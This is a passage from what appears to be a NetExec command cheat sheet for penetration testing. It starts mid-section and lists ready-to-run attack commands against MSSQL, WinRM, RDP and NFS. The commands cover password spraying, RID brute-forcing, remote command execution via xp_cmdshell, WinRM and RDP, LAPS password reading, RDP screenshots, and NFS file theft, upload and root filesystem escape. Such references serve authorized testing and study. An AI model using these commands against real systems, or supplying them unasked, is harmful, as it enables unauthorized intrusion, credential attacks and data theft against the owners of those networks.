nxc mssql 10.1.1.1 -u 'user' -p 'pass' --get-file C:\\Windows\\Temp\\whoami.txt /tmp/file                  #Download file

Execute via xp_cmdshell

1
nxc mssql 10.1.1.1 -u 'user' -p 'pass' --local-auth -x whoami     #Execute Windows command via MSSQL using NetExec

Enumerate Users by Bruteforcing RID

1
nxc mssql 10.1.1.0/24 -u 'user' -p 'pass' --rid-brute             #Enumerate users by bruteforcing the RID on the remote target

WinRM Modules

No WINRM modules at this time

WinRM Usage

Password Spraying

1
nxc winrm 10.1.1.0/24 -u userfile -p passwordfile --no-bruteforce                          #Password spraying (without bruteforce)
2
nxc winrm 10.1.1.0/24 -u userfile -p passwordfile --no-bruteforce --continue-on-success    #Password spraying (without bruteforce) and continue on success

Authentication

1
nxc winrm 10.1.1.0/24 -u 'user' -p 'pass'                       #Testing credentials
2
nxc winrm 10.1.1.0/24 -u 'user'-p 'pass' -d Hack.local          #Testing credentials if the SMB port is closed

Command Execution

1
nxc winrm 10.1.1.1 -u 'user' -p 'pass' -X whoami                #Command execution with WinRM

Defeating LAPS

1
NetExec winrm 10.1.1.1 -u 'user-can-read-laps' -p 'pass' --laps           #Execute a command on remote host on the domain if LAPS is used
2
NetExec winrm 10.1.1.1 -u 'user-can-read-laps' -p 'pass' --laps 'name'    #Execute a command on remote host on the domain if LAPS is used and default admin name is not administrator

RDP Modules

No RDP modules at this time

RDP Usage

Password Spraying

1
nxc rdp 10.1.1.0/24 -u 'user' -p 'pass'                                    #RDP password spray
2
nxc rdp 10.1.1.0/24 -u userfile -p passwordfile --no-bruteforce            #Password spraying (without bruteforce)

Screenshot

1
nxc rdp 10.1.1.1 -u 'user' -p 'pass' --screenshot --screentime <seconds>   #Perform an RDP screenshot

Screenshot Without NLA

1
nxc rdp 10.1.1.1 --nla-screenshot                                          #Perform a screenshot of the login page of the remote host using RDP if NLA is disabled

Command Execution

1
nxc rdp 10.1.1.1 -x whoami                                                 #Command execution over RDP
2
nxc rdp 10.1.1.1 -x whoami --cmd-delay --clipboard-delay                   #Flags to help if the target is very slow

NFS Modules

No NFS modules at this time

NFS Usage

Enumerate NFS Servers

1
nxc nfs 10.1.1.1                                             #Detect remote NFS server, enumerate available versions and check for the root escape

Enumerate NFS Shares

1
nxc nfs 10.1.1.1 --shares                                    #Enumerate exported NFS shares. Output shows target UID, Permissions, Storage Usage, Access List

List Files

1
nxc nfs 10.1.1.1 --share '/var/nfs/general' --ls '/'         #List files on the target system. Choose the target share with the --share flag

Enumerate all Files on NFS Shares

1
nxc nfs 10.1.1.1 --enum-shares                               #Enumerate all files and folders recursively with --enum-shares with a given recursion depth (default is 3 layers).
2
nxc nfs 10.1.1.1 --enum-shares 5                             #Enumerate all files and folders recursively with --enum-shares with a given recursion depth of 5

Download and Upload Files

1
nxc nfs 10.1.1.1 --share /home/user/Desktop/NFSShare/ --get-file test.txt test.txt           #Download test.txt file on remote target
2
nxc nfs 10.1.1.1 --share /home/user/Desktop/NFSShare/ --put-file test.txt test.txt           #Upload test.txt file to remote target

Escape to Root File System

1
nxc nfs 10.1.1.1 --ls '/'                                   #NetExec will automatically try to use the root escape if no share was specified in the command.